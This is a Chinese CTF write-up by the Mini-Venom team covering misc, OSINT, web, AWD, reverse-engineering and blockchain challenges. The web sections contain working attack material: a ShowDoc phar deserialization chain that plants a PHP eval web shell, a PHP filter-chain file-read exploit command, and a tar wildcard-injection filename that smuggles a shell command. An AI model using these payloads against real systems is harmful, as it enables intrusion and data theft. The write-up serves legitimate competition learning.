掌控安全CTF挑战赛 writeup by Mini-Venom

WriteUp 3周前 admin
82 0 0

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组)


Misc

MISC – 我有一个朋友…

和机器人随便聊两句,就有了

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240824205301733

MISC – ez_misc

给了个压缩包,里面是个流量包和一个压缩包

在流量包里面发现rsa的n,e,c

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240825132447368

于是写脚本解密

from Crypto.Util.number import *
n= 43489217925558007563636756391400797378149529574751021903496069282535133839006866223260410550599538413407426964614588006275007400246991078260390312195904589721338428085434172399719461589261992218665591773334129943107225575727780195166055393685218448420720438980410624810057704307625828329627767464148252758001
e= 65537
c= 36130878068248402738560299131646475603724825552357501315563339107931689677118969949120034243479180229973732010106235105382800417726466593880006557216051126730665469539293176332289284136350093429079449794175396650185724862085491944146833903655679903611518298996520196270292730040114431445396188731766010616304
p = 81207361375222669491316104953044746246400146737625592406724026490508197814501
phi = p ** 3 * (p - 1)
d = inverse(e, phi)
print(d)
print(pow(c,d,n))
print(long_to_bytes(pow(c, d, n)))

得到flag{the_password_is_zkaq!!!},用密码the_password_is_zkaq!!!打开压缩包,

里面是key.txt和flag.zip,key.txt感觉没有用

直接用字典就跑出来了flag.zip的密码,

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240825132833424

s1mple打开就是flag。

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240825133648903

OSINT – 摄影出片

原题,链接。

https://www.cnblogs.com/Mar10/p/18281173

flag:zkaq{Arlington Street, Boston}

web

web-php

源码:

 <?php show_source(__FILE__); file($_POST['a']); ?> 

只有file函数,无法回显。

找到一篇文章,

https://xz.aliyun.com/t/12939?time__1311=GqGxuD9Qi%3Dn4lrzG7DyDmxiTU4ROc1Qx%3DoD#toc-16

使用PHP中的包装器filter实现任意文件读取攻击,直接用他的工具。

python .filters_chain_oracle_exploit.py –target http://tefgmrho.lab.aqlab.cn –file /flag –parameter a –headers "{"Authorization": "Basic emthcTp6a2Fx"}"

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240824205904318

得到flag。

web2

先注册登录,尝试直接读取flag /server/index.php?s=/../../../../flag.txt 直接爆出了绝对路径

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240824210051100

showdoc 3.25存在前台rce漏洞,

直接打现成的链子:

<?php  
namespace GuzzleHttpCookie {  
    class CookieJar  
    {  
        private $cookies;  
        public function __construct()  
        
{  
            $this->cookies = array(new SetCookie());  
        }  
        private $strictMode;  
    }  
    class FileCookieJar extends CookieJar  
    
{  
        private $filename = "/var/www/html/shell.php";  
        private $storeSessionCookies = true;  
    }  
    class SetCookie  
    
{  
        private $data = array('Expires' => '<?php eval($_POST[0]);?>');  
    }  
}  
namespace {  
    $phar = new Phar("shell.phar"); //后缀名必须为phar  
    $phar->startBuffering();  
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub  
    $o = new GuzzleHttpCookieFileCookieJar();  
    $phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest  
    $phar->addFromString("test.txt""test"); //添加要压缩的⽂件  
    //签名⾃动计算  
    $phar->stopBuffering();  
}

生成phar文件,还需改个jpg后缀。

然后上传shell.jpg,查看图片路径

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240824210434218
掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240824210446876

然后访问/server/index.php?s=home/index/new_is_writeable&file=phar://../Public/Uploads/2024-08-24/66c99c8ba850b.jpg,然后访问我们写入马子的位置

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240824210648944

可成功getshell,然后蚁剑连接拿flag

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240824210728198

Just A Index

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240825125404809

打开发现啥也没有,发现用的是aiohttp/3.9.1,这个版本有一个目录遍历漏洞

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240825125452145

于是直接读flag

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240825125621404

AWD

Nothing

nuxt的任意文件读取漏洞

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240824210957118

可以获取flag

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240824211025215

Scan

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240825125718342

题目长这样,给出了附件

app.py :

import flask
import subprocess
import re

app = Flask(__name__)

... ...

@app.route('/submit', methods=['POST'])
def submit():
    ... ...
    if url is None:
        return "No URL! "400

    if not url_pattern.match(url):
        return "URL格式错误!"400

    if url:
        command = ['./nuclei''--silent''-u', url, '-t''0day-templates.yaml']
        try:
            result = subprocess.run(command, capture_output=True, text=True)
            print(result.stdout)
            if 'info' in result.stdout and '/api/v2/echo' in result.stdout and 'custom-templates' in result.stdout:
                return flag
            else:
                return "非常安全,没有问题!"
        except subprocess.CalledProcessError:
            return "Error occurred while running command"
    return "Invalid request"

if __name__ == '__main__':
    ... ...

0day-templates.yaml

id: custom-templates

info:
  name: woowohhhhhhh
  author: xxx
  severity: info
  reference: https://xxx.com
  metadata:
    max-request: 2
  tags: ctf,zkaq

http:
  - raw:

      - |
        GET /api/v1/version/ HTTP/1.1
        Host: {{Hostname}}
        Referer: https://xxx.com


      - |
        GET /api/v2/echo/?name=<script>alert(1111)</script>&file=/etc/p0sswd_95271834 HTTP/1.1
        Host: {{Hostname}}
        Referer: https://xxx.com

    req-condition: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - compare_versions(version, '<= 10.0.5', '> 10.0.1')

      - type: word
        part: body_1
        words:
          - ""NAME":"HACKER""
          - ""msg":"success""
        condition: and
        case-insensitive: true

      - type: dsl
        dsl:
          - "regex('zkaq{[a-z]}', body_2)"
          - 'contains(body_2, "<script>alert(1111)</script>")'
          - "status_code_2 == 200"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: version
        group: 1
        internal: true
        part: body_1
        regex:
          - ""version":"([0-9.]+)""

简单审计代码,发现主要有两个检查

  1. /api/v1/version

/api/v1/version/ 读取响应,通过使用正则表达式提取版本号来检查 API 版本的响应。

它查找类似 “version”:“X.X.X” 的模式,并提取X.X.X部分作为版本号。

然后,它会比较此提取的版本,以确保它小于或等于 10.0.5 和大于 10.0.1。

  1. /api/v2/echo

    /api/v2/echo/ 终端节点读取响应,然后检查响应正文 (body_1) 是否包含特定内容,

    包括 “NAME”:“HACKER”“msg”:“success”。此检查不区分大小写。

    body_2 上执行正则表达式匹配,查找模式 zkaq{[a-z]}

    会检查body_2是否包含字符串“<script>alert(1111)</script>”。

    确保 HTTP 状态代码为 200 (status_code_2 == 200)。

在自己的服务器上创建一个目录html

设置/api/v1/version

创建index.html

<!DOCTYPE html>
<html>
<head>
    <title>First Endpoint</title>
</head>
<body>
    <p>{"NAME":"HACKER","msg":"success","version":"10.0.4"}</p>
</body>

设置/api/v2/echo

创建index.html

<!DOCTYPE html>
<html>
<head>
    <title>Second Endpoint</title>
</head>
<body>
    <p>xxxcom</p>
    <p>zkaq{a}</p>
    <script>alert(1111)</script>
</body>
</html>

然后再html下执行

python3 -m http.server 9999

访问链接即可得到flag

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240825132019210

压缩打包站

一个上传题目

功能源代码 :

# upload file
@app.route('/api/upload', methods=['POST'])
def upload():
    file = request.files.get('file'None)
    if file is None:
        return 'No file provided'400
    
    # check for path traversal
    if '..' in file.filename or '/' in file.filename:
        return 'Invalid file name'400
    
    # check file size
    if len(file.read()) > 1000:
        return 'File too large'400
    
    file.save(f'uploads/{g.uuid}/{file.filename}')
    return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>'200


# download file
@app.route('/api/download', methods=['GET'])
def download():
    @after_this_request
    def remove_file(response):
        os.system(f"rm -rf uploads/{g.uuid}/out.tar")
        return response

    # make a tar of all files
    os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

    # send tar to user
    return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')

存在命令:

os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

于是上传文件名为

--checkpoint-action=exec=python3 -c "import os;x = chr(47);os.system(f'cp {x}flag* .')"
--checkpoint=1

的文件。

点击下载按钮后,刷新页面后,文件列表显示了一个名为 flag_2ac4860abcaf706adb7ae07f81f69e24 的附加文件。

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240825153553548

打开就是flag。

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240825153618093

re

Blockchain-签到

首先查看题目给了一个合约地址(Sepolia 测试网)

上区块链浏览器查一下,发现有源码:

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240826101047145

合约逻辑很简单,只有一个函数来检查输入的 bytes32 类型的数据是否跟 flag 相同,flag 是 private 变量,但是可以工具直接访问私有变量

直接上 Foundry

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240826101125705

随便找个在线网站解一下:

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240826101232569

RE – 双角出征,寸草不生

两个exe,逻辑的check和加密的逻辑分别分开了,跑起来其中一个之后,先取出check里面的密文

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240824234336587

再把另外一个跑起来,输入的变换就在这部分,一下不太好找,但是可以看出来就是一个异或,先将密文的前面5个字节与flag{做一个异或得知前面的异或值为0x7f,0x5b,0x54,0x51,0x73

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240824234910827

然后去上图中跟进变量逛了一下找到了相似的地方

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240824234833465

以此取出来之后与密文做一下异或即可


tmp=[
  0x190x370x350x360x080x1B,0x36,0x3E,0xD4,0xE6,
  0x0A,  0x3C,0xE60x5A0x29,  
  0x160x15 ,0x7D ,0x1D ,0x4B
  0xD00x2E ,0xC2  ,0xCC ,0x38 
  ,0x0B ,0xD9 ,0x98,0x26
]

opcode = [0x7f,0x5b,0x54,0x51,0x73,0x48,0x5E,0x57,0xBA,0xB9,0x4B,0x55,0xB9,0x14,0x48,0x49,0x47,0x08,0x42,0x0A,0xBE,0x4F,0xB6,0xAD,0x67,0x43,0xBC,0xB9,0x5B]


for i in range(len(opcode)):
    print(chr(opcode[i]^tmp[i]),end='')

得到flag。

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240825134039984

Blockchain-Break Through The Barrier

Sepolia 看一眼源码:

合约版本 < 0.8 ,is_solved 条件:我们地址拿到 type(uint256).max 的 token,直接下溢。区块链浏览器直接交互就行

掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240826101349185
掌控安全CTF挑战赛 writeup by Mini-Venom
image-20240826101402928


结束


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]


掌控安全CTF挑战赛 writeup by Mini-Venom

原文始发于微信公众号(ChaMd5安全团队):掌控安全CTF挑战赛 writeup by Mini-Venom

版权声明:admin 发表于 2024年8月28日 上午8:44。
转载请注明:掌控安全CTF挑战赛 writeup by Mini-Venom | CTF导航

相关文章